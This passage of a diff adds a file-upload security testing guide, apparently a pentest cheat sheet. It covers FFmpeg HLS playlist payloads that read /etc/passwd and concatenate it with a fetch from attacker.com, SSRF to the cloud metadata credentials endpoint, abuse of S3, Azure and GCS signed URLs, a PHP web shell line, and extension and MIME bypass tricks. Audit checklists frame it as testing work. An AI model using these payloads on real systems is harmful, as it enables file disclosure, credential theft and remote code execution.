+ <policy domain="coder" rights="none" pattern="EPHEMERAL" />
400
+ <policy domain="coder" rights="none" pattern="URL" />
401
+ <policy domain="coder" rights="none" pattern="HTTPS" />
402
+ □ Is Ghostscript updated and sandboxed (-dSAFER)?
403
+ ```
404
+
405
+ ---
406
+
407
+ ## 14. FFMPEG SSRF & LOCAL FILE READ
408
+
409
+ ### HLS playlist file read
410
+
411
+ ```m3u8
412
+ #EXTM3U
413
+ #EXT-X-MEDIA-SEQUENCE:0
414
+ #EXTINF:10.0,
415
+ concat:http://attacker.com/header.txt|file:///etc/passwd
416
+ #EXT-X-ENDLIST
417
+ ```
418
+
419
+ Upload as `.m3u8` or `.ts` → FFmpeg processes it → file content concatenated with header and sent to attacker server or embedded in output video.
420
+
421
+ ### SSRF via HLS
422
+
423
+ ```m3u8
424
+ #EXTM3U
425
+ #EXT-X-MEDIA-SEQUENCE:0
426
+ #EXTINF:10.0,
427
+ http://169.254.169.254/latest/meta-data/iam/security-credentials/
428
+ #EXT-X-ENDLIST
429
+ ```
430
+
431
+ FFmpeg fetches the URL server-side → SSRF to cloud metadata endpoint.
432
+
433
+ ### Concat protocol for local file inclusion
434
+
435
+ ```m3u8
436
+ #EXTM3U
437
+ #EXTINF:1,
438
+ concat:file:///etc/passwd|subfile,,start,0,end,0,,:
439
+ #EXT-X-ENDLIST
440
+ ```
441
+
442
+ ### AVI + subtitle SSRF
443
+
444
+ Create AVI with subtitle track referencing a URL:
445
+ ```bash
446
+ ffmpeg -i input.avi -vf "subtitles=http://169.254.169.254/latest/meta-data/" output.avi
447
+ ```
448
+
449
+ ---
450
+
451
+ ## 15. CLOUD STORAGE UPLOAD CONSIDERATIONS
452
+
453
+ ### S3 Presigned URL Abuse
454
+
455
+ ```text
456
+ # Presigned URL generated for specific key and content-type:
457
+ PUT https://bucket.s3.amazonaws.com/uploads/avatar.jpg
458
+ ?X-Amz-Algorithm=AWS4-HMAC-SHA256&...&X-Amz-SignedHeaders=host;content-type
459
+
460
+ # Abuse: if content-type is NOT in SignedHeaders:
461
+ # Change Content-Type from image/jpeg to text/html → upload XSS payload
462
+ # The signature remains valid because content-type wasn't signed
463
+
464
+ # If path is not signed (only prefix):
465
+ # Change key from uploads/avatar.jpg to uploads/../admin/config.json
466
+ ```
467
+
468
+ **Audit checklist**:
469
+ ```text
470
+ □ Which headers are included in SignedHeaders? (must include content-type)
471
+ □ Is the full key path signed or just a prefix?
472
+ □ Is the upload bucket the same as the serving bucket? (write to CDN-served bucket → stored XSS)
473
+ □ Is the ACL signed? (prevent setting public-read on sensitive uploads)
474
+ ```
475
+
476
+ ### Azure Blob Storage SAS Token
477
+
478
+ ```text
479
+ # SAS token scope issues:
480
+ # Container-level SAS with write permission → write to ANY blob in container
481
+ # Service-level SAS → may allow listing/reading other blobs
482
+ # Check: sr= (signed resource), sp= (signed permissions), se= (expiry)
483
+ ```
484
+
485
+ ### GCS Signed URL
486
+
487
+ ```text
488
+ # Similar to S3 — check if Content-Type is included in signature
489
+ # Resumable upload URLs may have broader permissions than intended
490
+ # V4 signed URLs: verify X-Goog-SignedHeaders includes content-type
491
+ ```
492
+
493
+ ---
494
+
495
+ ## 16. CONTENT-TYPE VALIDATION BYPASS
496
+
497
+ ### Double extensions
498
+
499
+ ```text
500
+ shell.php.jpg → Apache with AddHandler may execute as PHP
501
+ shell.asp;.jpg → IIS semicolon truncation
502
+ shell.php%00.jpg → Null byte truncation (PHP < 5.3.4, old Java)
503
+ shell.php.xxxxx → Unknown extension → Apache falls back to previous handler
504
+ ```
505
+
506
+ ### MIME sniffing exploitation
507
+
508
+ When server sends no `Content-Type` or `X-Content-Type-Options: nosniff` is missing:
509
+
510
+ ```text
511
+ # Upload file with HTML/JS content but image extension
512
+ # Browser MIME-sniffs content → executes as HTML
513
+ # Works for stored XSS even when extension validation passes
514
+ ```
515
+
516
+ ### Content-Type header vs extension mismatch
517
+
518
+ ```text
519
+ # Upload request:
520
+ Content-Disposition: form-data; name="file"; filename="avatar.jpg"
521
+ Content-Type: image/jpeg
522
+
523
+ # File content: <?php system($_GET['cmd']); ?>
524
+
525
+ # Server trusts Content-Type header (image/jpeg) → passes validation
526
+ # But stores with .php extension based on other logic → executes as PHP
527
+ ```
528
+
529
+ ### Case variation
530
+
531
+ ```text
532
+ shell.PhP shell.pHP shell.Php
533
+ shell.aSp shell.jSp shell.ASPX
534
+ ```
535
+
536
+ ### Trailing characters
537
+
538
+ ```text
539
+ shell.php. → trailing dot (Windows strips it)
540
+ shell.php::$DATA → NTFS alternate data stream (IIS)
541
+ shell.php\x20 → trailing space
542
+ shell.php%20 → URL-encoded space
543
+ ```